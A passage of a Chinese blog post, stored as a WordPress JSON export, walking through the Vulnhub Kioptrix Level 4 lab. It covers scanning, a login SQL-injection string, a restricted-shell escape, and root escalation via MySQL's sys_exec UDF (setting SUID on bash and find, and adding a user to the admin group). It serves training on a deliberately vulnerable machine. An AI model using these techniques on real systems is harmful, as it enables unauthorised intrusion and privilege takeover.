{"id":324,"date":"2024-01-28T12:06:28","date_gmt":"2024-01-28T04:06:28","guid":{"rendered":"http:\/\/162.14.82.114\/?p=324"},"modified":"2024-01-28T14:37:50","modified_gmt":"2024-01-28T06:37:50","slug":"vulnhub-kioptrix-level-4","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/324\/01\/28\/2024\/","title":{"rendered":"Vulnhub–KIOPTRIX LEVEL 4"},"content":{"rendered":"

Vulnhub--KIOPTRIX LEVEL 4<\/h1>\n

\"image-20240127185740686\"<\/div><\/p>\n

Description\u5927\u6982\u662f\u8868\u8ff0\u4f5c\u8005\u611f\u609f\uff0c\u5236\u4f5c\u8fd9\u4e9b\u9776\u573a\u76f8\u5f53\u4e0d\u5bb9\u6613\uff0c\u4e3a\u4f5c\u8005\u70b9\u8d5e\uff01<\/p>\n

\u4e0b\u8f7d\u4e0b\u6765\u53ea\u6709\u4e00\u5757\u786c\u76d8\uff0c\u8fd9\u662f\u6ca1\u9519\u7684\uff0c\u4f5c\u8005\u63d0\u5230\u4e86\uff1a<\/p>\n

\"image-20240127190552151\"<\/div><\/p>\n

\"image-20240128130135069\"<\/div><\/p>\n

\u521b\u5efa\u4e00\u4e2a\u865a\u62df\u673a\uff0c\u5220\u9664\u539f\u6709\u786c\u76d8\uff0c\u4f7f\u7528\u73b0\u6709\u786c\u76d8\uff1a<\/p>\n

\"image-20240127191009399\"<\/div><\/p>\n

\u7136\u540e\u6253\u5f00\uff1a<\/p>\n

\"image-20240127191358361\"<\/div><\/p>\n

\u626b\u4e00\u4e0b\uff0c\u770b\u770b\u80fd\u4e0d\u80fd\u626b\u51fa\u6765\uff1a<\/p>\n

sudo arp-scan -l\n# sudo netdiscover -i eth0<\/code><\/pre>\n
\"image-20240127191434358\"<\/div><\/p>\n
\u6253\u5f00\u770b\u4e00\u4e0b\u80fd\u4e0d\u80fd\u6b63\u5e38\u6253\u5f00\uff1a<\/p>\n
\"image-20240127191954278\"<\/div><\/p>\n
\u6b63\u5e38\u6253\u5f00\u7684\uff0c\u4e0b\u9762\u5c31\u53ef\u4ee5\u5f00\u59cb\u653b\u51fb\u4e86\uff01<\/p>\n
\u8e29\u70b9<\/h2>\n
\"image-20240128090300064\"<\/div><\/p>\n
\u67e5\u770b\u4e86\u4e00\u4e0b\u57fa\u7840\u914d\u7f6e\u3002<\/p>\n
\u5c1d\u8bd5\u5bf9\u4e0a\u9762\u7684\u7f51\u9875\u8fdb\u884c sql \u6d4b\u8bd5\uff1a<\/p>\n
username: ` or 1 = ' 1 \npassoword:` or 1 = ' 1 \n\n# Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in \/var\/www\/checklogin.php on line 28\nWrong Username or Password<\/code><\/pre>\n
\u8bf4\u660e\u5b58\u5728\u6ce8\u5165\u70b9\u3002<\/p>\n
\u7aef\u53e3\u626b\u63cf<\/h2>\n
nmap -sV -n -T4 -A 192.168.244.141\n# Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-01-27 20:17 EST\n# Stats: 0:00:14 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan\n# Service scan Timing: About 75.00% done; ETC: 20:17 (0:00:04 remaining)\n# Nmap scan report for 192.168.244.141\n# Host is up (0.0012s latency).\n# Not shown: 566 closed tcp ports (conn-refused), 430 filtered tcp ports (no-response)\n# PORT    STATE SERVICE     VERSION\n# 22\/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)\n# | ssh-hostkey: \n# |   1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)\n# |_  2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)\n# 80\/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP\/5.2.4-2ubuntu5.6 with Suhosin-Patch)\n# |_http-title: Site doesn't have a title (text\/html).\n# |_http-server-header: Apache\/2.2.8 (Ubuntu) PHP\/5.2.4-2ubuntu5.6 with Suhosin-Patch\n# 139\/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\n# 445\/tcp open  netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)\n# Service Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\n# Host script results:\n# |_smb2-time: Protocol negotiation failed (SMB2)\n# |_clock-skew: mean: 10h29m59s, deviation: 3h32m07s, median: 7h59m59s\n# |_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)\n# | smb-security-mode: \n# |   account_used: guest\n# |   authentication_level: user\n# |   challenge_response: supported\n# |_  message_signing: disabled (dangerous, but default)\n# | smb-os-discovery: \n# |   OS: Unix (Samba 3.0.28a)\n# |   Computer name: Kioptrix4\n# |   NetBIOS computer name: \n# |   Domain name: localdomain\n# |   FQDN: Kioptrix4.localdomain\n# |_  System time: 2024-01-28T04:17:53-05:00\n\n# Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done: 1 IP address (1 host up) scanned in 14.52 seconds\n\n# rustscan -a 10.0.10.103 -- -sV -oA result.txt \u4e5f\u884c<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u5f00\u542f\u4e8622<\/code>\uff0c80<\/code>\uff0c139<\/code>\uff0c445<\/code>\uff0c\u4e14\u670d\u52a1\u7248\u672c\u5927\u81f4\u4e3aOpenSSH 4.7<\/code>\uff0cApache httpd 2.2.8 ((Ubuntu) PHP\/5.2.4-2ubuntu5.6 with Suhosin-Patch)<\/code>\uff0cSamba smbd 3.X - 4.X\uff0cSamba smbd 3.0.28a<\/code><\/p>\n
\u76ee\u5f55\u626b\u63cf<\/h2>\n
gobuster dir -u http:\/\/192.168.244.141 -w \/usr\/share\/wordlists\/dirbuster\/directory-list-lowercase-2.3-medium.txt -x*\n# ===============================================================\n# Gobuster v3.6\n# by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n# ===============================================================\n# [+] Url:                     http:\/\/192.168.244.141\n# [+] Method:                  GET\n# [+] Threads:                 10\n# [+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-lowercase-2.3-medium.txt\n# [+] Negative Status codes:   404\n# [+] User Agent:              gobuster\/3.6\n# [+] Extensions:              *\n# [+] Timeout:                 10s\n# ===============================================================\n# Starting gobuster in directory enumeration mode\n# ===============================================================\n# \/images               (Status: 301) [Size: 358] [--> http:\/\/192.168.244.141\/images\/]\n# \/index                (Status: 200) [Size: 1255]\n# \/member               (Status: 302) [Size: 220] [--> index.php]\n# \/logout               (Status: 302) [Size: 0] [--> index.php]\n# \/john                 (Status: 301) [Size: 356] [--> http:\/\/192.168.244.141\/john\/]\n# \/robert               (Status: 301) [Size: 358] [--> http:\/\/192.168.244.141\/robert\/]\n# \/server-status        (Status: 403) [Size: 335]\n# Progress: 415286 \/ 415288 (100.00%)\n# ===============================================================\n# Finished\n# ===============================================================<\/code><\/pre>\n
\u53d1\u73b0\u4e86\u4e24\u4e2a\u7528\u6237john<\/code>\u8fd8\u6709rebort<\/code>\uff0c\u5c1d\u8bd5\u4e07\u80fd\u5bc6\u7801\u767b\u5f55\uff1a<\/p>\n
\"image-20240128095012371\"<\/div><\/p>\n
\u8fdb\u53bb\u4e86\uff1a<\/p>\n
\"image-20240128095034531\"<\/div><\/p>\n
\u7a81\u7834\u9650\u5236\u7684shell<\/h2>\n
\u5c1d\u8bd5\u8fdc\u7a0b\u8fde\u63a5\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ ssh john@192.168.244.141                                   \nUnable to negotiate with 192.168.244.141 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss\n\n\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ ssh -oHostKeyAlgorithms=+ssh-dss john@192.168.244.141\nThe authenticity of host '192.168.244.141 (192.168.244.141)' can't be established.\nDSA key fingerprint is SHA256:l2Z9xv+mXqcandVHZntyNeV1loP8XoFca+R\/2VbroAw.\nThis key is not known by any other names.\nAre you sure you want to continue connecting (yes\/no\/[fingerprint])? yes\nWarning: Permanently added '192.168.244.141' (DSA) to the list of known hosts.\njohn@192.168.244.141's password: \nWelcome to LigGoat Security Systems - We are Watching\n== Welcome LigGoat Employee ==\nLigGoat Shell is in place so you  don't screw up\nType '?' or 'help' to get the list of allowed commands\njohn:~$ whoami\n*** unknown command: whoami\njohn:~$ ls\njohn:~$ id\n*** unknown command: id<\/code><\/pre>\n
\u8fd9\u4e2a\u517c\u5bb9\u6027\u662f\u8001\u95ee\u9898\u4e86\uff0c\u4e0b\u6b21\u5355\u72ec\u641e\u4e00\u4e0b\uff01\u53ef\u4ee5\u770b\u5230\uff0c\u867d\u7136\u8fde\u63a5\u4e0a\u53bb\u4e86\uff0c\u4f46\u662f\u662f\u4e00\u79cd\u53d7\u9650\u73af\u5883\uff0c\u67e5\u770b\u4e00\u4e0b\u54ea\u4e9b\u547d\u4ee4\u53ef\u4ee5\u4f7f\u7528\uff1a<\/p>\n
john:~$ ?\ncd  clear  echo  exit  help  ll  lpath  ls<\/code><\/pre>\n
\u7b80\u5355\u67e5\u770b\u4e00\u4e0b\u76ee\u5f55\u7ed3\u6784\uff1a<\/p>\n
john:~$ cd ..\n*** forbidden path -> "\/home\/"\n*** You have 0 warning(s) left, before getting kicked out.\nThis incident has been reported.\njohn:~$ ls\njohn:~$ lpath\nAllowed:\n \/home\/john<\/code><\/pre>\n
\u5176\u4ed6\u7684\u547d\u4ee4\u6ca1\u5565\u597d\u8bf4\u7684\uff0c\u8fd9\u4e2aecho<\/code>\u662f\u53ef\u4ee5\u5229\u7528\u4e00\u4e0b\u7684\uff0c\u53ef\u4ee5\u53c2\u8003\u8fd9\u7bc7\u6587\u7ae0\uff1alshell<\/a><\/p>\n
echo $PATH\n# *** forbidden path -> "\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin:\/usr\/games"\n# *** You have 0 warning(s) left, before getting kicked out.\n# This incident has been reported.\necho os.system("\/bin\/bash")\n# john@Kioptrix4:~$ whoami\n# john<\/code><\/pre>\n
\u63d0\u6743<\/h2>\n
\u641c\u7d22\u7cfb\u7edf\u4fe1\u606f\u548c\u5185\u6838\u4fe1\u606f\uff1a<\/p>\n
uname -a\n# Linux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU\/Linux\nlsb_release -a\n# No LSB modules are available.\n# Distributor ID: Ubuntu\n# Description:    Ubuntu 8.04.3 LTS\n# Release:        8.04\n# Codename:       hardy<\/code><\/pre>\n
\u5c1d\u8bd5\u4ece\u5185\u6838\u6f0f\u6d1e\u4e0a\u5165\u624b\uff0c\u4f46\u662f\u8fd9\u8fb9\u5c1d\u8bd5\u4e86\u51e0\u4e2a\u811a\u672c\u90fd\u5931\u8d25\u4e86\uff0c\u770b\u6765\u8fd8\u662f\u5f97\u4ece\u5176\u4ed6\u65b9\u9762\u5165\u624b\u3002<\/p>\n
\u67e5\u770b\u4e00\u4e0b\u9ad8\u6743\u9650\u7684\u8fdb\u7a0b\uff1a<\/p>\n
ps aux | grep root\n# root         1  0.0  0.0   2844  1696 ?        Ss   03:57   0:02 \/sbin\/init\n# root         2  0.0  0.0      0     0 ?        S<   03:57   0:00 [kthreadd]\n# root         3  0.0  0.0      0     0 ?        S<   03:57   0:00 [migration\/0]\n# root         4  0.0  0.0      0     0 ?        S<   03:57   0:00 [ksoftirqd\/0]\n# root         5  0.0  0.0      0     0 ?        S<   03:57   0:00 [watchdog\/0]\n# root         6  0.0  0.0      0     0 ?        S<   03:57   0:00 [migration\/1]\n# root         7  0.0  0.0      0     0 ?        S<   03:57   0:00 [ksoftirqd\/1]\n# root         8  0.0  0.0      0     0 ?        S<   03:57   0:00 [watchdog\/1]\n# root         9  0.0  0.0      0     0 ?        R<   03:57   0:00 [events\/0]\n# root        10  0.0  0.0      0     0 ?        S<   03:57   0:00 [events\/1]\n# root        11  0.0  0.0      0     0 ?        S<   03:57   0:00 [khelper]\n# root        46  0.0  0.0      0     0 ?        S<   03:57   0:00 [kblockd\/0]\n# root        47  0.0  0.0      0     0 ?        S<   03:57   0:00 [kblockd\/1]\n# root        50  0.0  0.0      0     0 ?        S<   03:57   0:00 [kacpid]\n# root        51  0.0  0.0      0     0 ?        S<   03:57   0:00 [kacpi_notify]\n# root       189  0.0  0.0      0     0 ?        S<   03:57   0:00 [kseriod]\n# root       233  0.0  0.0      0     0 ?        S    03:57   0:00 [pdflush]\n# root       234  0.0  0.0      0     0 ?        S    03:57   0:00 [pdflush]\n# root       235  0.0  0.0      0     0 ?        S<   03:57   0:00 [kswapd0]\n# root       277  0.0  0.0      0     0 ?        S<   03:57   0:00 [aio\/0]\n# root       278  0.0  0.0      0     0 ?        S<   03:57   0:00 [aio\/1]\n# root      1496  0.0  0.0      0     0 ?        S<   03:57   0:00 [ata\/0]\n# root      1499  0.0  0.0      0     0 ?        S<   03:57   0:00 [ata\/1]\n# root      1502  0.0  0.0      0     0 ?        S<   03:57   0:00 [ata_aux]\n# root      1511  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_0]\n# root      1514  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_1]\n# root      1596  0.0  0.0      0     0 ?        S<   03:57   0:00 [ksuspend_usbd]\n# root      1599  0.0  0.0      0     0 ?        S<   03:57   0:00 [khubd]\n# root      2433  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_2]\n# root      2536  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_3]\n# root      2537  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_4]\n# root      2538  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_5]\n# root      2539  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_6]\n# root      2540  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_7]\n# root      2541  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_8]\n# root      2542  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_9]\n# root      2543  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_10]\n# root      2544  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_11]\n# root      2545  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_12]\n# root      2546  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_13]\n# root      2547  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_14]\n# root      2548  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_15]\n# root      2549  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_16]\n# root      2550  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_17]\n# root      2551  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_18]\n# root      2552  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_19]\n# root      2553  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_20]\n# root      2554  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_21]\n# root      2555  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_22]\n# root      2556  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_23]\n# root      2557  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_24]\n# root      2558  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_25]\n# root      2559  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_26]\n# root      2560  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_27]\n# root      2561  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_28]\n# root      2562  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_29]\n# root      2563  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_30]\n# root      2564  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_31]\n# root      2565  0.0  0.0      0     0 ?        S<   03:57   0:00 [scsi_eh_32]\n# root      2795  0.0  0.0      0     0 ?        S<   03:57   0:00 [kjournald]\n# root      2966  0.0  0.0   2224   668 ?        S<s  03:57   0:00 \/sbin\/udevd --daemon\n# root      3401  0.0  0.0      0     0 ?        S<   03:57   0:00 [kgameportd]\n# root      3465  0.0  0.0      0     0 ?        S<   03:57   0:00 [kpsmoused]\n# root      4772  0.0  0.0   1716   484 tty4     Ss+  03:57   0:00 \/sbin\/getty 38400 tty4\n# root      4773  0.0  0.0   1716   492 tty5     Ss+  03:57   0:00 \/sbin\/getty 38400 tty5\n# root      4777  0.0  0.0   1716   488 tty2     Ss+  03:57   0:00 \/sbin\/getty 38400 tty2\n# root      4779  0.0  0.0   1716   484 tty3     Ss+  03:57   0:00 \/sbin\/getty 38400 tty3\n# root      4783  0.0  0.0   1716   492 tty6     Ss+  03:57   0:00 \/sbin\/getty 38400 tty6\n# root      4840  0.0  0.0   1872   540 ?        S    03:57   0:00 \/bin\/dd bs 1 if \/proc\/kmsg of \/var\/run\/klogd\/kmsg\n# root      4861  0.0  0.0   5316   984 ?        Ss   03:57   0:00 \/usr\/sbin\/sshd\n# root      4917  0.0  0.0   1772   524 ?        S    03:57   0:00 \/bin\/sh \/usr\/bin\/mysqld_safe\n# root      4959  0.0  0.3 126988 16260 ?        Sl   03:57   0:00 \/usr\/sbin\/mysqld --basedir=\/usr --datadir=\/var\/lib\/mysql --user=root --pid-file=\/var\/run\/mysqld\/mysqld.pid --skip-external-locking -\n# root      4960  0.0  0.0   1700   556 ?        S    03:57   0:00 logger -p daemon.err -t mysqld_safe -i -t mysqld\n# root      5034  0.0  0.0   6528  1324 ?        Ss   03:57   0:00 \/usr\/sbin\/nmbd -D\n# root      5036  0.0  0.0  10108  2400 ?        Ss   03:57   0:00 \/usr\/sbin\/smbd -D\n# root      5050  0.0  0.0   8084  1340 ?        Ss   03:57   0:00 \/usr\/sbin\/winbindd\n# root      5063  0.0  0.0  10108  1024 ?        S    03:57   0:00 \/usr\/sbin\/smbd -D\n# root      5071  0.0  0.0   8084  1164 ?        S    03:57   0:00 \/usr\/sbin\/winbindd\n# root      5083  0.0  0.0   2104   892 ?        Ss   03:57   0:00 \/usr\/sbin\/cron\n# root      5105  0.0  0.1  20464  6200 ?        Ss   03:57   0:00 \/usr\/sbin\/apache2 -k start\n# root      5161  0.0  0.0   1716   488 tty1     Ss+  03:57   0:00 \/sbin\/getty 38400 tty1\n# root      5199  0.0  0.0   8084   868 ?        S    04:17   0:00 \/usr\/sbin\/winbindd\n# root      5200  0.0  0.0   8092  1268 ?        S    04:17   0:00 \/usr\/sbin\/winbindd\n# root      5279  0.0  0.0  11356  3716 ?        Ss   05:01   0:00 sshd: john [priv]\n# john      5331  0.0  0.0   3008   772 pts\/0    R+   05:13   0:00 grep root<\/code><\/pre>\n
\u8fd9\u91cc\u5012\u662f\u53d1\u73b0 mysql \u4f3c\u4e4e\u662f root \u6743\u9650\u3002<\/p>\n
\u67e5\u770b\u4e00\u4e0b\u662f\u5426\u6709SUID\u65b9\u9762\u7684\uff1a<\/p>\n
find \/ -perm -u=s -type f 2>\/dev\/null\n# \/usr\/lib\/apache2\/suexec\n# \/usr\/lib\/eject\/dmcrypt-get-device\n# \/usr\/lib\/openssh\/ssh-keysign\n# \/usr\/lib\/pt_chown\n# \/usr\/bin\/chsh\n# \/usr\/bin\/sudo\n# \/usr\/bin\/traceroute6.iputils\n# \/usr\/bin\/newgrp\n# \/usr\/bin\/sudoedit\n# \/usr\/bin\/chfn\n# \/usr\/bin\/arping\n# \/usr\/bin\/gpasswd\n# \/usr\/bin\/mtr\n# \/usr\/bin\/passwd\n# \/usr\/bin\/at\n# \/usr\/sbin\/pppd\n# \/usr\/sbin\/uuidd\n# \/lib\/dhcp3-client\/call-dhclient-script\n# \/bin\/mount\n# \/bin\/ping6\n# \/bin\/fusermount\n# \/bin\/su\n# \/bin\/ping\n# \/bin\/umount\n# \/sbin\/umount.cifs\n# \/sbin\/mount.cifs<\/code><\/pre>\n
\u6ca1\u770b\u5230\u6211\u89c9\u5f97\u53ef\u4ee5\u5229\u7528\u7684\u3002<\/p>\n
\u67e5\u770b\u4e00\u4e0b\u76ee\u5f55\u7ed3\u6784\uff0c\u770b\u770b\u662f\u5426\u6709\u53ef\u4ee5\u5229\u7528\u7684\u5730\u65b9\uff1a<\/p>\n
\"image-20240128102000812\"<\/div><\/p>\n
\u5728checklogin.php<\/code>\u4e2d\u53d1\u73b0\u4e86\u8d26\u53f7\u5bc6\u7801\uff0c\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\uff1a<\/p>\n
john@Kioptrix4:~$ mysql -uroot -p\n# Enter password: \n# Welcome to the MySQL monitor.  Commands end with ; or \\g.\n# Your MySQL connection id is 19\n# Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)\n\n# Type 'help;' or '\\h' for help. Type '\\c' to clear the buffer.\nmysql> show databases;                                                                                                         \n# +--------------------+                                                                \n# | Database           |                                                                \n# +--------------------+                                                                \n# | information_schema |                                                                \n# | members            |                                                                \n# | mysql              |                                                                                              \n# +--------------------+                                                                                           \n# 3 rows in set (0.00 sec)\nmysql> select * from mysql.func;                                                                                               \n# +-----------------------+-----+---------------------+----------+                           \n# | name                  | ret | dl                  | type     |        \n# +-----------------------+-----+---------------------+----------+                           \n# | lib_mysqludf_sys_info |   0 | lib_mysqludf_sys.so | function |                           \n# | sys_exec              |   0 | lib_mysqludf_sys.so | function |                           \n# +-----------------------+-----+---------------------+----------+                           \n# 2 rows in set (0.00 sec)                                                                                                     \nmysql> select version(),user();                                                                                               # +--------------------+----------------+                                                     \n# | version()          | user()         |                                                     \n# +--------------------+----------------+                                                     \n# | 5.0.51a-3ubuntu5.4 | root@localhost |                                                     \n# +--------------------+----------------+                                                     \n# 1 row in set (0.00 sec)                      <\/code><\/pre>\n
\u6784\u9020SUID\u63d0\u6743<\/h3>\n
\n
mysql\u4e2d\u6ca1\u6709\u6267\u884c\u5916\u90e8\u547d\u4ee4\u7684\u51fd\u6570\uff0c\u8981\u8c03\u7528\u5916\u90e8\u7684\u547d\u4ee4\uff0c\u53ef\u4ee5\u901a\u8fc7\u5f00\u53d1MySQL UDF<\/a>\u6765\u5b9e\u73b0\uff0clib_mysqludf_sys \u5c31\u662f\u4e00\u4e2a\u5b9e\u73b0\u4e86\u6b64\u529f\u80fd\u7684UDF\u5e93<\/p>\n
\u53ef\u4ee5\u901a\u8fc7select \u6267\u884c\u76f8\u5173\u547d\u4ee4 \u5982\uff1aSelect  sys_exec('mkdir -p \/home\/user1\/aaa');<\/p>\n<\/blockquote>\n
\u5c1d\u8bd5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u6784\u9020suid\uff1a<\/p>\n
select sys_exec("chmod u+s \/usr\/bin\/bash");\nselect sys_exec("chmod u+s \/usr\/bin\/find");\nfind \/etc\/passwd -exec \/bin\/sh \\;<\/code><\/pre>\n
\"image-20240128120032799\"<\/div><\/p>\n
\u83b7\u5f97 flag\uff01<\/p>\n
\u76f4\u63a5\u8d4b\u4e88john\u6743\u9650<\/h3>\n
select sys_exec("usermod -a -G admin john");<\/code><\/pre>\n
\"image-20240128120500403\"<\/div><\/p>\n
\u540c\u6837\u6210\u529f\u83b7\u53d6flag\uff01\uff01\uff01<\/p>\n
\u5176\u4ed6\u6536\u83b7<\/h2>\n
\u770b\u5e08\u5085\u4eec\u505a\u7684\u65f6\u5019\uff0c\u53d1\u73b0\u5e08\u5085\u4eec\u4f7f\u7528\u4e86\u4e00\u4e2a SMB \u679a\u4e3e\u5de5\u5177\uff1a<\/p>\n
\n
enum4linux \u662f\u4e00\u4e2a\u547d\u4ee4\u884c\u5de5\u5177\uff0c\u7528\u4e8e\u4ece\u8fdc\u7a0b\u7cfb\u7edf\u679a\u4e3e Windows \u548c Samba \u4fe1\u606f\u3002\u5b83\u662f\u7528 Perl \u7f16\u5199\u7684\uff0c\u53ef\u7528\u4e8e\u5728 Windows \u548c Samba \u7cfb\u7edf\u4e0a\u6267\u884c\u4fa6\u5bdf\u3002\u8be5\u5de5\u5177\u53ef\u7528\u4e8e\u6536\u96c6\u7528\u6237\u548c\u7ec4\u5217\u8868\u3001\u5171\u4eab\u8d44\u6e90\u7b49\u4fe1\u606f\u4ee5\u53ca\u53ef\u7528\u4e8e\u8bc6\u522b\u6f5c\u5728\u6f0f\u6d1e\u7684\u5176\u4ed6\u4fe1\u606f\u3002<\/p>\n<\/blockquote>\n
# \u5b89\u88c5\u4e00\u4e0b\nsudo apt install -y enum4linux-ng\nenum4linux-ng 192.168.244.141\n# ENUM4LINUX - next generation (v1.3.2)\n#  ==========================\n# |    Target Information    |\n#  ==========================\n# [*] Target ........... 192.168.244.141\n# [*] Username ......... ''\n# [*] Random Username .. 'zssfbtvj'\n# [*] Password ......... ''\n# [*] Timeout .......... 5 second(s)\n\n#  ========================================\n# |    Listener Scan on 192.168.244.141    |\n#  ========================================\n# [*] Checking LDAP\n# [-] Could not connect to LDAP on 389\/tcp: connection refused\n# [*] Checking LDAPS\n# [-] Could not connect to LDAPS on 636\/tcp: connection refused\n# [*] Checking SMB\n# [+] SMB is accessible on 445\/tcp\n# [*] Checking SMB over NetBIOS\n# [+] SMB over NetBIOS is accessible on 139\/tcp\n\n#  ==============================================================\n# |    NetBIOS Names and Workgroup\/Domain for 192.168.244.141    |\n#  ==============================================================\n# [+] Got domain\/workgroup name: WORKGROUP\n# [+] Full NetBIOS names information:\n# - KIOPTRIX4       <00> -         B <ACTIVE>  Workstation Service                         \n# - KIOPTRIX4       <03> -         B <ACTIVE>  Messenger Service                           \n# - KIOPTRIX4       <20> -         B <ACTIVE>  File Server Service                         \n# - ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser                             \n# - WORKGROUP       <1d> -         B <ACTIVE>  Master Browser                             \n# - WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections                   \n# - WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain\/Workgroup Name                       \n# - MAC Address = 00-00-00-00-00-00                                                       \n#  ============================================\n# |    SMB Dialect Check on 192.168.244.141    |\n#  ============================================\n# [*] Trying on 445\/tcp\n# [+] Supported dialects and settings:\n# Supported dialects:                                                                     \n#   SMB 1.0: true                                                                         \n#   SMB 2.02: false                                                                       \n#   SMB 2.1: false                                                                         \n#   SMB 3.0: false                                                                         \n#   SMB 3.1.1: false                                                                       \n# Preferred dialect: SMB 1.0                                                               \n# SMB1 only: true                                                                         \n# SMB signing required: false                                                             \n# [*] Enforcing legacy SMBv1 for further enumeration\n\n#  ==============================================================\n# |    Domain Information via SMB session for 192.168.244.141    |\n#  ==============================================================\n# [*] Enumerating via unauthenticated SMB session on 445\/tcp\n# [+] Found domain information via SMB\n# NetBIOS computer name: KIOPTRIX4                                                         \n# NetBIOS domain name: ''                                                                 \n# DNS domain: localdomain                                                                 \n# FQDN: Kioptrix4.localdomain                                                             \n# Derived membership: workgroup member                                                     \n# Derived domain: unknown                                                                 \n\n#  ============================================\n# |    RPC Session Check on 192.168.244.141    |\n#  ============================================\n# [*] Check for null session\n# [+] Server allows session using username '', password ''\n# [*] Check for random user\n# [+] Server allows session using username 'zssfbtvj', password ''\n# [H] Rerunning enumeration with user 'zssfbtvj' might give more results\n\n#  ======================================================\n# |    Domain Information via RPC for 192.168.244.141    |\n#  ======================================================\n# [+] Domain: WORKGROUP\n# [+] Domain SID: NULL SID\n# [+] Membership: workgroup member\n\n#  ==================================================\n# |    OS Information via RPC for 192.168.244.141    |\n#  ==================================================\n# [*] Enumerating via unauthenticated SMB session on 445\/tcp\n# [+] Found OS information via SMB\n# [*] Enumerating via 'srvinfo'\n# [+] Found OS information via 'srvinfo'\n# [+] After merging OS information we have the following result:\n# OS: Linux\/Unix (Samba 3.0.28a)                                                                                                                                                                       \n# OS version: '4.9'                                                                       \n# OS release: not supported                                                               \n# OS build: not supported                                                                 \n# Native OS: Unix                                                                         \n# Native LAN manager: Samba 3.0.28a                                                       \n# Platform id: '500'                                                                       \n# Server type: '0x809a03'                                                                 \n# Server type string: Wk Sv PrQ Unx NT SNT Kioptrix4 server (Samba, Ubuntu)               \n\n#  ========================================\n# |    Users via RPC on 192.168.244.141    |\n#  ========================================\n# [*] Enumerating users via 'querydispinfo'\n# [+] Found 5 user(s) via 'querydispinfo'\n# [*] Enumerating users via 'enumdomusers'\n# [+] Found 5 user(s) via 'enumdomusers'\n# [+] After merging user results we have 5 user(s) total:\n# '1000':                                                                                 \n#   username: root                                                                         \n#   name: root                                                                             \n#   acb: '0x00000010'                                                                     \n#   description: (null)                                                                   \n# '3000':                                                                                 \n#   username: loneferret                                                                   \n#   name: loneferret,,,                                                                   \n#   acb: '0x00000010'                                                                     \n#   description: (null)                                                                   \n# '3002':                                                                                 \n#   username: john                                                                         \n#   name: ',,,'                                                                           \n#   acb: '0x00000010'                                                                     \n#   description: (null)                                                                   \n# '3004':                                                                                 \n#   username: robert                                                                       \n#   name: ',,,'                                                                           \n#   acb: '0x00000010'                                                                     \n#   description: (null)                                                                   \n# '501':                                                                                   \n#   username: nobody                                                                       \n#   name: nobody                                                                           \n#   acb: '0x00000010'                                                                     \n#   description: (null)                                                                   \n\n#  =========================================\n# |    Groups via RPC on 192.168.244.141    |\n#  =========================================\n# [*] Enumerating local groups\n# [+] Found 0 group(s) via 'enumalsgroups domain'\n# [*] Enumerating builtin groups\n# [+] Found 0 group(s) via 